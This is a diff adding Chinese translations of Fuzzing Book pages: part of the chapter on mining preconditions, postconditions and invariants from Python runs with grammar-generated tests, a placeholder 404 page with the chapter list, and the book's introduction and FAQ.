+    retval = func(*args, **kwargs) # call original function or method
+  File "<ipython-input-100-39ada1fd0b7e>", line 6, in wrapper
+    assert precondition(*args, **kwargs), "Precondition violated"
+AssertionError: Precondition violated (expected)
+
+```
+
+这与原始版本相反，原始版本仅挂在负值上：
+
+```py
+with ExpectTimeout(1):
+    my_sqrt(-1.0)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-171-afc7add26ad6>", line 2, in <module>
+    my_sqrt(-1.0)
+  File "<ipython-input-5-47185ad159a1>", line 7, in my_sqrt
+    guess = (approx + x / approx) / 2
+  File "<ipython-input-5-47185ad159a1>", line 7, in my_sqrt
+    guess = (approx + x / approx) / 2
+  File "<string>", line 16, in check_time
+TimeoutError (expected)
+
+```
+
+如果我们对函数定义进行更改，以使返回值的属性发生更改，则*回归*被视为违反了后置条件。 让我们通过简单地反转结果来说明这一点，并将$ -2 $作为4的平方根返回。
+
+```py
+my_sqrt_def = my_sqrt_def.replace('my_sqrt_annotated', 'my_sqrt_negative')
+my_sqrt_def = my_sqrt_def.replace('return approx', 'return -approx')
+
+```
+
+```py
+print_content(my_sqrt_def, '.py')
+
+```
+
+```py
+@precondition(lambda x: isinstance(x, float))
+@precondition(lambda x: x != 0)
+@precondition(lambda x: x > 0)
+@precondition(lambda x: x >= 0)
+@postcondition(lambda return_value, x: isinstance(return_value, float))
+@postcondition(lambda return_value, x: return_value != 0)
+@postcondition(lambda return_value, x: return_value > 0)
+@postcondition(lambda return_value, x: return_value >= 0)
+def my_sqrt_negative(x):
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx = None
+    guess = x / 2
+    while approx != guess:
+        approx = guess
+        guess = (approx + x / approx) / 2
+    return -approx
+
+```
+
+```py
+exec(my_sqrt_def)
+
+```
+
+从技术上讲，$-2 $ *是*的平方根4，因为$（-2）^ 2 = 4 $成立。 但是，`my_sqrt()`的调用者可能无法预料到这样的变化，因此，第一次调用将被捕获：
+
+```py
+with ExpectError():
+    my_sqrt_negative(2.0)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-175-c80e4295dbf8>", line 2, in <module>
+    my_sqrt_negative(2.0)
+  File "<ipython-input-100-39ada1fd0b7e>", line 8, in wrapper
+    retval = func(*args, **kwargs) # call original function or method
+  File "<ipython-input-100-39ada1fd0b7e>", line 8, in wrapper
+    retval = func(*args, **kwargs) # call original function or method
+  File "<ipython-input-100-39ada1fd0b7e>", line 8, in wrapper
+    retval = func(*args, **kwargs) # call original function or method
+  [Previous line repeated 4 more times]
+  File "<ipython-input-100-39ada1fd0b7e>", line 10, in wrapper
+    assert postcondition(retval, *args, **kwargs), "Postcondition violated"
+AssertionError: Postcondition violated (expected)
+
+```
+
+我们看到前置条件和后置条件以及类型如何在测试过程中充当 *oracles* 。 特别是，一旦我们为一组功能挖掘了它们，就可以使用测试生成器一次又一次地检查它们-特别是在代码更改之后。 我们拥有的检查越多，检查越具体，我们越有可能检测到不必要的变更影响。
+
+## 生成的测试的挖掘规范
+
+开采的规格只能与开采的规格一样好。 如果我们仅看到一个调用，例如`sum2()`，我们将面临几个挖掘的前提条件和后置条件，这些条件使*过度专业化*到所看到的值：
+
+```py
+def sum2(a, b):
+    return a + b
+
+```
+
+```py
+with InvariantAnnotator() as annotator:
+    y = sum2(2, 2)
+print_content(annotator.functions_with_invariants(), '.py')
+
+```
+
+```py
+@precondition(lambda a, b: a != 0)
+@precondition(lambda a, b: a <= b)
+@precondition(lambda a, b: a == b)
+@precondition(lambda a, b: a > 0)
+@precondition(lambda a, b: a >= 0)
+@precondition(lambda a, b: a >= b)
+@precondition(lambda a, b: b != 0)
+@precondition(lambda a, b: b <= a)
+@precondition(lambda a, b: b == a)
+@precondition(lambda a, b: b > 0)
+@precondition(lambda a, b: b >= 0)
+@precondition(lambda a, b: b >= a)
+@precondition(lambda a, b: isinstance(a, int))
+@precondition(lambda a, b: isinstance(b, int))
+@postcondition(lambda return_value, a, b: a < return_value)
+@postcondition(lambda return_value, a, b: a <= b <= return_value)
+@postcondition(lambda return_value, a, b: a <= return_value)
+@postcondition(lambda return_value, a, b: a == return_value - b)
+@postcondition(lambda return_value, a, b: a == return_value / b)
+@postcondition(lambda return_value, a, b: b < return_value)
+@postcondition(lambda return_value, a, b: b <= a <= return_value)
+@postcondition(lambda return_value, a, b: b <= return_value)
+@postcondition(lambda return_value, a, b: b == return_value - a)
+@postcondition(lambda return_value, a, b: b == return_value / a)
+@postcondition(lambda return_value, a, b: isinstance(return_value, int))
+@postcondition(lambda return_value, a, b: return_value != 0)
+@postcondition(lambda return_value, a, b: return_value == a * b)
+@postcondition(lambda return_value, a, b: return_value == a + b)
+@postcondition(lambda return_value, a, b: return_value == b * a)
+@postcondition(lambda return_value, a, b: return_value == b + a)
+@postcondition(lambda return_value, a, b: return_value > 0)
+@postcondition(lambda return_value, a, b: return_value > a)
+@postcondition(lambda return_value, a, b: return_value > b)
+@postcondition(lambda return_value, a, b: return_value >= 0)
+@postcondition(lambda return_value, a, b: return_value >= a)
+@postcondition(lambda return_value, a, b: return_value >= a >= b)
+@postcondition(lambda return_value, a, b: return_value >= b)
+@postcondition(lambda return_value, a, b: return_value >= b >= a)
+def sum2(a, b):
+    return a + b
+
+```
+
+例如，挖掘的前提条件`a == b`仅适用于观察到的单个调用； 开采后置条件`return_value == a * b`也是一样。 但是，`sum2()`显然可以使用不满足这些条件的其他值成功调用。
+
+为了摆脱这个陷阱，我们必须*从越来越多的运行*中学习。 如果再调用`sum2()`，我们将看到不变量集如何快速变小：
+
+```py
+with InvariantAnnotator() as annotator:
+    length = sum2(1, 2)
+    length = sum2(-1, -2)
+    length = sum2(0, 0)
+
+print_content(annotator.functions_with_invariants(), '.py')
+
+```
+
+```py
+@precondition(lambda a, b: isinstance(a, int))
+@precondition(lambda a, b: isinstance(b, int))
+@postcondition(lambda return_value, a, b: a == return_value - b)
+@postcondition(lambda return_value, a, b: b == return_value - a)
+@postcondition(lambda return_value, a, b: isinstance(return_value, int))
+@postcondition(lambda return_value, a, b: return_value == a + b)
+@postcondition(lambda return_value, a, b: return_value == b + a)
+def sum2(a, b):
+    return a + b
+
+```
+
+但是，我们从何处获得如此多样化的运行呢？ 这是生成软件测试的工作。 调用`sum2()`的简单语法将轻松解决该问题。
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer  # minor dependency
+from [Grammars](Grammars.html) import is_valid_grammar, crange, convert_ebnf_grammar  # minor dependency
+
+```
+
+```py
+SUM2_EBNF_GRAMMAR = {
+    "<start>": ["<sum2>"],
+    "<sum2>": ["sum2(<int>, <int>)"],
+    "<int>": ["<_int>"],
+    "<_int>": ["(-)?<leaddigit><digit>*", "0"],
+    "<leaddigit>": crange('1', '9'),
+    "<digit>": crange('0', '9')
+}
+
+assert is_valid_grammar(SUM2_EBNF_GRAMMAR)
+
+```
+
+```py
+sum2_grammar =  convert_ebnf_grammar(SUM2_EBNF_GRAMMAR)
+
+```
+
+```py
+sum2_fuzzer = GrammarFuzzer(sum2_grammar)
+[sum2_fuzzer.fuzz() for i in range(10)]
+
+```
+
+```py
+['sum2(60, 3)',
+ 'sum2(-4, 0)',
+ 'sum2(-579, 34)',
+ 'sum2(3, 0)',
+ 'sum2(-8, 0)',
+ 'sum2(0, 8)',
+ 'sum2(3, -9)',
+ 'sum2(0, 0)',
+ 'sum2(0, 5)',
+ 'sum2(-3181, 0)']
+
+```
+
+```py
+with InvariantAnnotator() as annotator:
+    for i in range(10):
+        eval(sum2_fuzzer.fuzz())
+
+print_content(annotator.function_with_invariants('sum2'), '.py')
+
+```
+
+```py
+@precondition(lambda a, b: a != 0)
+@precondition(lambda a, b: isinstance(a, int))
+@precondition(lambda a, b: isinstance(b, int))
+@postcondition(lambda return_value, a, b: a == return_value - b)
+@postcondition(lambda return_value, a, b: b == return_value - a)
+@postcondition(lambda return_value, a, b: isinstance(return_value, int))
+@postcondition(lambda return_value, a, b: return_value != 0)
+@postcondition(lambda return_value, a, b: return_value == a + b)
+@postcondition(lambda return_value, a, b: return_value == b + a)
+def sum2(a, b):
+    return a + b
+
+```
+
+但是，然后仅编写测试（或测试驱动程序）以得出一组前提条件和后置条件可能会花费太多精力–尤其是因为首先可以轻松地从给定的前提条件和后置条件中得出测试。 因此，首先指定不变式，然后让测试生成器或程序证明者来完成这项工作将是更明智的选择。
+
+同样，必须设置如上所述的API语法，使其实际上遵守前提条件-在我们的情况下，我们已经假设其前提条件为仅使用正数调用`sqrt()`。 因此，以某种方式，一个人需要一个规范（模型，语法）来挖掘另一个规范-鸡与蛋的问题。
+
+但是，有一种方法可以解决此问题：如果可以在系统级别自动生成测试，则可以使用*无限执行源*来学习不变式。 在这些执行中的每一个中，将使用满足（隐式）前提的值来调用所有函数，从而使我们能够为这些函数挖掘不变量。 之所以成立，是因为在系统级别上，无效输入必须首先被系统拒绝。 系统级别的有意义的前提条件，确保只有有效的输入才能通过，因此在功能级别分解为多个有意义的前提条件（以及后续的后置条件）。
+
+但是，对此的最大要求是，需要在系统级别使用良好的测试生成器。 在[的下一部分](05_Domain-Specific_Fuzzing.ipynb)中，我们将讨论如何自动生成从配置到图形用户界面的各种域的测试。
+
+## 经验教训
+
+*   类型注释和显式不变量允许*检查*参数和结果以获取预期的数据类型和其他属性。
+*   通过在运行时观察参数和结果，可以自动*挖掘*数据类型和不变量。
+*   挖掘的不变量的质量取决于执行过程中观察到的值的多样性。 可以通过生成测试来增加这种多样性。
+
+## 后续步骤
+
+本章总结了语义模糊技术的[部分。 在下一部分中，我们将探讨从配置和API到图形用户界面的](04_Semantical_Fuzzing.html)[特定于域的模糊技术](05_Domain-Specific_Fuzzing.ipynb)。
+
+## 背景
+
+[DAIKON动态不变检测器](https://plse.cs.washington.edu/daikon/)可被视为功能规范矿工的母亲。 连续维护和扩展了20多年，它以本章的样式挖掘各种语言的可能不变式，包括C，C ++，C＃，Eiffel，F＃，Java，Perl和Visual Basic。 除了上面讨论的功能之外，它还为可能的不变量提供了丰富的模式目录，支持数据不变量，可以消除其他隐含的不变量，并确定统计可信度以忽略不太可能的不变量。 相应的论文[ [Ernst *等*，2001年。](https://doi.org/10.1109/32.908957)]是软件工程领域最引人注目的论文之一。 基于DAIKON并检测不变量的大量著作已经出版。 有关详细信息，请参见此[策划列表](http://plse.cs.washington.edu/daikon/pubs/)。
+
+在[ [Ernst *等人*，2001。](https://doi.org/10.1109/32.908957)]中已经讨论了测试生成器与不变检测之间的交互作用（顺便说一句，也使用语法）。 Eclat工具[ [Pacheco *等*，2005\.](https://doi.org/10.1007/11531142_22) ]是单元级测试生成器与DAIKON式不变挖掘之间紧密交互的模型示例，其中使用了挖掘的不变式 产生预言，并系统地指导测试生成器进行故障显示输入。
+
+采矿规范不限于前提条件和后置条件。 论文“采矿规范” [ [Ammons *等人*，2002。](https://doi.org/10.1145/503272.503275)]是该领域的另一经典，可以从执行中学习状态协议。 如本章[所述，同名](GrammarMiner.html)的语法挖掘也可以看作是一种规范挖掘方法，这一次是学习输入格式的规范。
+
+关于在现有代码中添加类型注释，博客文章[“ Python中类型提示的状态”](https://www.bernat.tech/the-state-of-type-hints-in-python/) 很好地概述了如何使用和检查Python类型提示。 要添加类型注释，有两种重要的工具也可以实现我们的上述方法：
+
+*   [MonkeyType](https://instagram-engineering.com/let-your-code-type-hint-itself-introducing-open-source-monkeytype-a855c7284881) 实现了上述跟踪执行并为Python 3自变量，返回值和带有类型提示的变量进行注释的方法。
+*   [PyAnnotate](https://github.com/dropbox/pyannotate) 做类似的工作，专注于Python 2中的代码。它不产生Python 3样式的注释，而是产生注释，这些注释可以由静态类型检查器处理。
+
+这些工具分别由Facebook和Dropbox的工程师创建，可以帮助他们检查数百万行代码中是否存在类型问题。
+
+## 练习
+
+我们关于挖掘类型和不变量的代码绝不完整。 扩展实现的方法有很多种，其中一些是在练习中讨论的。
+
+### 练习1：联合类型
+
+Python `typing`模块允许表达一个参数可以具有多种类型。 对于`my_sqrt(x)`，这可以表示`x`可以是`int`或`float`：
+
+```py
+from [typing](https://docs.python.org/3/library/typing.html) import Union, Optional
+
+```
+
+```py
+def my_sqrt_with_union_type(x: Union[int, float]) -> float:
+    ...
+
+```
+
+扩展`TypeAnnotator`，使其支持参数和返回值的并集类型。 使用`Optional[X]`作为`Union[X, None]`的简写。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/DynamicInvariants.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：局部变量的类型
+
+在Python中，不仅可以注释类型的参数，而且还可以注释局部变量和全局变量，例如`my_sqrt()`实现中的`approx`和`guess`：
+
+```py
+def my_sqrt_with_local_types(x: Union[int, float]) -> float:
+    """Computes the square root of x, using the Newton-Raphson method"""
+    approx: Optional[float] = None
+    guess: float = x / 2
+    while approx != guess:
+        approx: float = guess
+        guess: float = (approx + x / approx) / 2
+    return approx
+
+```
+
+扩展`TypeAnnotator`，使其也可以用类型注释局部变量。 在函数AST中搜索分配，确定分配值的类型，并在左侧进行注释。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/DynamicInvariants.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：详细的不变式检查器
+
+我们的不变式检查器的实现方式无法向用户明确指出哪个前置条件/​​后置条件失败。
+
+```py
+@precondition(lambda s: len(s) > 0)
+def remove_first_char(s):
+    return s[1:]
+
+```
+
+```py
+with ExpectError():
+    remove_first_char('')
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-193-dda18930f6db>", line 2, in <module>
+    remove_first_char('')
+  File "<ipython-input-100-39ada1fd0b7e>", line 6, in wrapper
+    assert precondition(*args, **kwargs), "Precondition violated"
+AssertionError: Precondition violated (expected)
+
+```
+
+以下实现添加了一个可选的`doc`关键字参数，如果违反了不变式，则会打印该参数：
+
+```py
+def condition(precondition=None, postcondition=None, doc='Unknown'):
+   def decorator(func):
+       @functools.wraps(func) # preserves name, docstring, etc
+       def wrapper(*args, **kwargs):
+           if precondition is not None:
+               assert precondition(*args, **kwargs), "Precondition violated: " + doc
+
+           retval = func(*args, **kwargs) # call original function or method
+           if postcondition is not None:
+               assert postcondition(retval, *args, **kwargs), "Postcondition violated: " + doc
+
+           return retval
+       return wrapper
+   return decorator
+
+def precondition(check, **kwargs):
+   return condition(precondition=check, doc=kwargs.get('doc', 'Unknown'))
+
+def postcondition(check, **kwargs):
+   return condition(postcondition=check, doc=kwargs.get('doc', 'Unknown'))
+
+```
+
+```py
+@precondition(lambda s: len(s) > 0, doc="len(s) > 0")
+def remove_first_char(s):
+    return s[1:]
+
+remove_first_char('abc')
+
+```
+
+```py
+'bc'
+
+```
+
+```py
+with ExpectError():
+    remove_first_char('')
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-196-dda18930f6db>", line 2, in <module>
+    remove_first_char('')
+  File "<ipython-input-194-683ee268305f>", line 6, in wrapper
+    assert precondition(*args, **kwargs), "Precondition violated: " + doc
+AssertionError: Precondition violated: len(s) > 0 (expected)
+
+```
+
+扩展`InvariantAnnotator`，使其包括所生成的前置条件和后置条件中的条件。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/DynamicInvariants.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习4：保存初始值
+
+如果参数的值在函数执行过程中发生更改，则很容易使我们的实现困惑：在函数的开头跟踪值，但仅在返回时才进行检查。 扩展`InvariantAnnotator`及其使用的基础架构，以便
+
+*   它在函数调用的开始和结束时保存参数值；
+*   后置条件可以用参数的*初始*初始值以及参数的*最终*值表示；
+*   挖掘的后置条件也同时引用了这两个值。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/DynamicInvariants.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习5：含义
+
+其他一些不变的变量实际上是*所隐含的：`x > 0`成立，则意味着`x >= 0`和`x != 0`。 扩展`InvariantAnnotator`，以使属性之间的含义被显式编码，并且隐含的属性不再列为不变式。 有关想法，请参见 [Ernst *等人*，2001。](https://doi.org/10.1109/32.908957)。*
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/DynamicInvariants.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习6：局部变量
+
+后置条件也可以引用局部变量的值。 考虑扩展`InvariantAnnotator`及其基础结构，以便在执行结束时记录局部变量的值并将其作为不变推理机制的一部分。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/DynamicInvariants.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习7：探索不变选择
+
+挖掘出第一组不变式后，让[圆锥模糊测试器](ConcolicFuzzer.html)生成系统地尝试使前置条件和后置条件无效的测试。 您可以推广多远？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/DynamicInvariants.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习8：语法生成的属性
+
+要检查的属性集越大，可以发现更多的潜在不变性。 创建一个*语法*，该语法系统地产生大量属性。 参见[ [Ernst *等人*，2001。](https://doi.org/10.1109/32.908957)]了解可能的模式。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/DynamicInvariants.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习9：将不变量嵌入为断言
+
+与其生成不变式作为前提条件和后置条件的注释，不如将它们作为`assert`语句插入到函数代码中，如下所示：
+
+```py
+def my_sqrt(x):
+    'Computes the square root of x, using the Newton-Raphson method'
+    assert isinstance(x, int), 'violated precondition'
+    assert (x > 0), 'violated precondition'
+    approx = None
+    guess = (x / 2)
+    while (approx != guess):
+        approx = guess
+        guess = ((approx + (x / approx)) / 2)
+    return_value = approx
+    assert (return_value < x), 'violated postcondition'
+    assert isinstance(return_value, float), 'violated postcondition'
+    return approx
+
+```
+
+这样的表述可以使测试生成器和符号分析更容易访问和解释前置条件和后置条件。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/DynamicInvariants.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/29.md b/new/fuzzing-book-zh/29.md
new file mode 100644
index 0000000000000000000000000000000000000000..28e3877668f7df1aaa0dcedeec60003380906f8c
--- /dev/null
+++ b/new/fuzzing-book-zh/29.md
@@ -0,0 +1,92 @@
+# 不好了！ 我们还没有准备好！
+
+> 原文： [https://www.fuzzingbook.org/html/05_Domain-Specific_Fuzzing.ipynb](https://www.fuzzingbook.org/html/05_Domain-Specific_Fuzzing.ipynb)
+
+很抱歉-该页面尚不存在。
+
+## 查找内容
+
+您很可能一直在寻找尚未编写或尚未出版的材料。 转到[主页](https://www.fuzzingbook.org/)或从以下章节列表中选择：
+
+0.  [关于这本书](https://www.fuzzingbook.org/)
+1.  [站点地图](https://www.fuzzingbook.org/html/00_Table_of_Contents.html)
+2.  [I 增进食欲](/html/01_Intro.html)
+    *   [浏览本书**•**](/html/Tours.html)
+    *   [软件测试简介](/html/Intro_Testing.html)
+3.  [II 词汇模糊](/html/02_Lexical_Fuzzing.html)
+    *   [模糊测试：使用随机输入破坏事物](/html/Fuzzer.html)
+    *   [代码覆盖率](/html/Coverage.html)
+    *   [基于变异的模糊测试](/html/MutationFuzzer.html)
+    *   [Greybox Fuzzing](/html/GreyboxFuzzer.html)
+    *   [基于搜索的模糊处理](/html/SearchBasedFuzzer.html)
+    *   [突变分析](/html/MutationAnalysis.html)
+4.  [III 语法模糊](/html/03_Syntactical_Fuzzing.html)
+    *   [语法模糊](/html/Grammars.html)
+    *   [高效的语法模糊测试](/html/GrammarFuzzer.html)
+    *   [语法覆盖率](/html/GrammarCoverageFuzzer.html)
+    *   [解析输入](/html/Parser.html)
+    *   [概率语法模糊](/html/ProbabilisticGrammarFuzzer.html)
+    *   [发电机模糊](/html/GeneratorGrammarFuzzer.html)
+    *   [带有语法语法的Greybox模糊测试](/html/GreyboxGrammarFuzzer.html)
+    *   [减少引起故障的输入](/html/Reducer.html)
+5.  [IV 语义模糊](/html/04_Semantical_Fuzzing.html)
+    *   [挖掘输入语法](/html/GrammarMiner.html)
+    *   [跟踪信息流](/html/InformationFlow.html)
+    *   [conconlic模糊测试](/html/ConcolicFuzzer.html)
+    *   [符号模糊处理](/html/SymbolicFuzzer.html)
+    *   [挖掘功能规范](/html/DynamicInvariants.html)
+6.  [V 特定域模糊测试](/html/05_Domain-Specific_Fuzzing.html)
+    *   [测试配置](/html/ConfigurationFuzzer.html)
+    *   [模糊测试API](/html/APIFuzzer.html)
+    *   [雕刻单元测试](/html/Carver.html)
+    *   [测试Web应用程序](/html/WebFuzzer.html)
+    *   [测试图形用户界面](/html/GUIFuzzer.html)
+7.  [VI 管理模糊处理](/html/06_Managing_Fuzzing.html)
+    *   [大型](/html/FuzzingInTheLarge.html)中的模糊
+    *   [何时停止模糊处理](/html/WhenToStopFuzzing.html)
+8.  [附录](/html/99_Appendices.html)
+    *   [错误处理](/html/ExpectError.html)
+    *   [计时器](/html/Timer.html)
+    *   [控制流程图](/html/ControlFlow.html)
+    *   [铁路图](/html/RailroadDiagrams.html)
+
+如果您认为这是一个错误，请[报告问题](https://github.com/uds-se/fuzzingbook//issues/)。
+
+## 了解新内容
+
+每周都会出版新的章节。 要在新章节（或本章）问世时得到通知，请在上关注我们[。](https://twitter.com/FuzzingBook?ref_src=twsrc%5Etfw)
+
+[来自@FuzzingBook的新闻](https://twitter.com/FuzzingBook?ref_src=twsrc%5Etfw)
+
+## 错误详细信息
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+class NotFoundError(Exception):
+    def __init__(self, value="404"):
+        self.value = value
+
+    def __str__(self):
+        return repr(self.value)
+
+```
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+with ExpectError():
+    raise NotFoundError
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-3-f7cd072299fb>", line 4, in <module>
+    raise NotFoundError
+NotFoundError: '404' (expected)
+
+```
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/3.md b/new/fuzzing-book-zh/3.md
new file mode 100644
index 0000000000000000000000000000000000000000..58b36951ff93233828cd52325e884ea8cc0e8b93
--- /dev/null
+++ b/new/fuzzing-book-zh/3.md
@@ -0,0 +1,161 @@
+# 生成软件测试关于本书
+
+> 原文： [https://www.fuzzingbook.org/html/](https://www.fuzzingbook.org/html/)
+
+<section>
+
+### 打破娱乐性和盈利性的软件
+
+**by Andreas Zeller, Rahul Gopinath, Marcel Böhme, Gordon Fraser, and Christian Holler**</section>
+
+**欢迎使用“生成软件测试”！** 软件中有错误，而捕获错误可能会涉及很多工作。 本书通过*自动执行*软件测试，特别是通过*自动生成测试*解决了这个问题。 近年来，已经看到了新技术的发展，这些新技术导致了测试生成和软件测试的显着改善。 它们现在已经足够成熟，甚至可以用可执行代码组装成书。
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import YouTubeVideo
+YouTubeVideo("w4u5gCgPlmg")
+
+```
+
+## 用于纸张，屏幕和键盘的教科书
+
+您可以通过四种方式使用本书：
+
+*   您可以**阅读浏览器**中的章节。 请查看上方菜单中的章节列表，或立即从[入门测试](Intro_Testing.html)或[模糊测试](Fuzzer.html)入门开始。 所有代码均可下载。
+
+*   您可以将**与章节进行交互，就像Jupyter笔记本**（测试版）一样。 这使您可以编辑和扩展代码，并在浏览器中实时体验*。* 只需选择每章顶部的“资源$ \ rightarrow $编辑为笔记本”。 [尝试与模糊介绍进行交互。](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Fuzzer.ipynb)
+
+*   您可以**在您自己的项目**中使用该代码。 您可以将代码下载为Python程序。 只需为一章选择“资源$ \ rightarrow $下载代码”或为所有章选择“资源$ \ rightarrow $所有代码”。 可以执行这些代码文件，（希望）产生与笔记本相同的结果。 更简单：[安装fuzzingbook Python软件包](#Using-the-Code)。
+
+*   您可以**以幻灯片**的形式呈现各章。 这样可以在讲座中展示材料。 只需选择每章顶部的“资源$ \ rightarrow $查看幻灯片”。 [尝试查看幻灯片以了解模糊的介绍。](https://www.fuzzingbook.org/slides/Fuzzer.slides.html)
+
+## 本书适用于
+
+本书被设计为软件测试课程的*教科书*； 作为软件测试或软件工程课程中的*补充材料*； 并作为软件开发人员的*资源。 我们将介绍随机模糊测试，基于变异的模糊测试，基于语法的测试生成，符号测试等等，并通过示例代码说明所有技术，您可以自己尝试一下。*
+
+## 新闻
+
+本书正在进行*的工作，*每周都有新的章节出版。 在所有章节都写完之后，我们将切换到基于发行版的时间表，其中包含次要版本和主要版本。 要获取更新通知，[在Twitter](https://twitter.com/FuzzingBook?ref_src=twsrc%5Etfw) 上关注我们。
+
+[来自@FuzzingBook的新闻](https://twitter.com/FuzzingBook?ref_src=twsrc%5Etfw)
+
+## 关于作者
+
+本书由 *Andreas Zeller，Rahul Gopinath，MarcelBöhme，Gordon Fraser和Christian Holler* 撰写。 我们所有人都是软件测试和测试生成方面的长期专家； 并且我们已经为这个星球上一些最重要的测试生成器和模糊器撰写或做出了贡献。 例如，如果您是在Firefox，Chrome或Edge Web浏览器中阅读此书，则可以安全地这样做（部分原因是因为我们），因为*本书中列出的技术已经在其JavaScript中发现了2,600多个错误 到目前为止的口译员。* 我们很高兴与大家分享我们的专业知识，并向公众公开。
+
+## 常见问题
+
+### 对[进行故障排除](#Troubleshooting)
+
+#### 为什么启动交互式笔记本需要这么长时间？
+
+交互式笔记本使用 [mybinder.org](https://mybinder.org) 服务，该服务在自己的服务器上运行笔记本。 通过mybinder.org启动Jupyter通常大约需要30秒，具体取决于您的Internet连接。 但是，如果您是在书籍更新后第一个调用活页夹的人，活页夹将重新创建其环境，这将需要几分钟。 偶尔重新加载页面。
+
+#### 交互式笔记本无法正常工作！
+
+mybinder.org对存储库施加100个并发用户的[限制。 另外，如](https://mybinder.readthedocs.io/en/latest/user-guidelines.html) [mybinder.org状态和可靠性页面](https://mybinder.readthedocs.io/en/latest/reliability.html)上所列，
+
+> 由于mybinder.org是一个研究试点项目，因此该项目的主要目标是了解使用模式和工作量，以用于将来的项目发展。 在努力提高站点的可靠性和可用性的同时，我们希望我们的用户了解这项服务的目的是研究，我们不保证其在关键任务用途中的性能。
+
+mybinder.org还有其他选择； 见下文。
+
+#### 我是否有交互式笔记本的替代品？
+
+如果mybinder.org无法正常工作或无法满足您的需求，那么您可以选择以下几种方法：
+
+1.  **下载Python代码**（使用顶部的菜单），然后在您喜欢的环境中对其进行编辑和运行。 这很容易做到，并且不需要很多资源。
+
+2.  **下载Jupyter笔记本**（使用顶部的菜单），然后在Jupyter中打开它们。 这是[如何在计算机](https://www.dataquest.io/blog/jupyter-notebook-tutorial/)上安装jupyter笔记本的方法。
+
+3.  **在Docker容器中本地运行笔记本**。 有关更多信息，请参见[如何将本书与Docker](https://github.com/uds-se/fuzzingbook/blob/master/deploy/README.md) 结合使用。
+
+4.  如果您想在教室中使用本书，并且取决于您的用户可以使用交互式笔记本，请考虑使用或部署 [JupyterHub](http://jupyter.org/hub) 或 [BinderHub](https://github.com/jupyterhub/binderhub) 实例。
+
+#### 我可以在Windows计算机上运行代码吗？
+
+我们尝试使代码尽可能通用，但是偶尔，当我们与操作系统交互时，我们会假设一个类似于Unix的环境（因为这正是Binder提供的环境）。 要在自己的Windows计算机上运行这些示例，可以安装Linux VM或 [Docker环境](https://github.com/uds-se/fuzzingbook/blob/master/deploy/README.md)。
+
+#### 您不能运行自己的专用云服务吗？
+
+从技术上讲，是的； 但这会花费金钱和精力，这时我们宁愿花在这本书上。 如果您想公开托管 [JupyterHub](http://jupyter.org/hub) 或 [BinderHub](https://github.com/jupyterhub/binderhub) 实例，请*这样做*，并告诉我们。
+
+### 内容
+
+#### 出现了哪些内容？
+
+有关详细信息，请参见[发行说明](ReleaseNotes.html)。
+
+#### 我如何引用您的工作？
+
+感谢您提及我们的工作！ 本书完成后，您就可以用传统方式引用它。 同时，只需单击网页底部每个章节的“引用”按钮即可获得引用条目。
+
+#### 你能引用我的论文吗？ 并可能为此写一章？
+
+我们总是很乐意得到建议！ 如果我们错过了重要的参考文献，我们当然会添加它。 如果您希望涵盖特定的材料，最好的方法是自己编写*笔记本*； 有关编码和编写的说明，请参见我们的[作者指南](Guide_for_Authors.html)。 然后，我们可以引用它甚至托管它。
+
+### 教学与课业
+
+#### 我可以在课程中使用您的资料吗？
+
+当然！ 只要遵守[许可](https://github.com/uds-se/fuzzingbook/blob/master/LICENSE.md)（包括署名和共享）即可。 如果您要将材料用于商业目的，请与我们联系。
+
+#### 我可以扩展或修改您的资料吗？
+
+是! 同样，请参见[许可证](https://github.com/uds-se/fuzzingbook/blob/master/LICENSE.md)了解详细信息。
+
+#### 我如何才能根据这本书开一门课程？
+
+我们已在各种课程中成功使用了该材料。
+
+*   最初，我们使用幻灯片和代码，并在讲座中进行了*实时编码*，以说明该技术的工作原理。
+
+*   现在，这本书的目标是完全独立。 也就是说，它无需其他支持即可工作。 因此，我们现在在*翻转课堂*设置中为学生提供完整的章节，让学生们在闲暇时工作在笔记本上。 我们将在教室里开会，讨论过去笔记本的经验并讨论未来笔记本。
+
+*   我们让学生从事本书中的练习，或者从事较大的（模糊的）项目。 我们也有一些学生将本书作为研究的基础； 实际上，在Python中为Python进行原型开发非常容易。
+
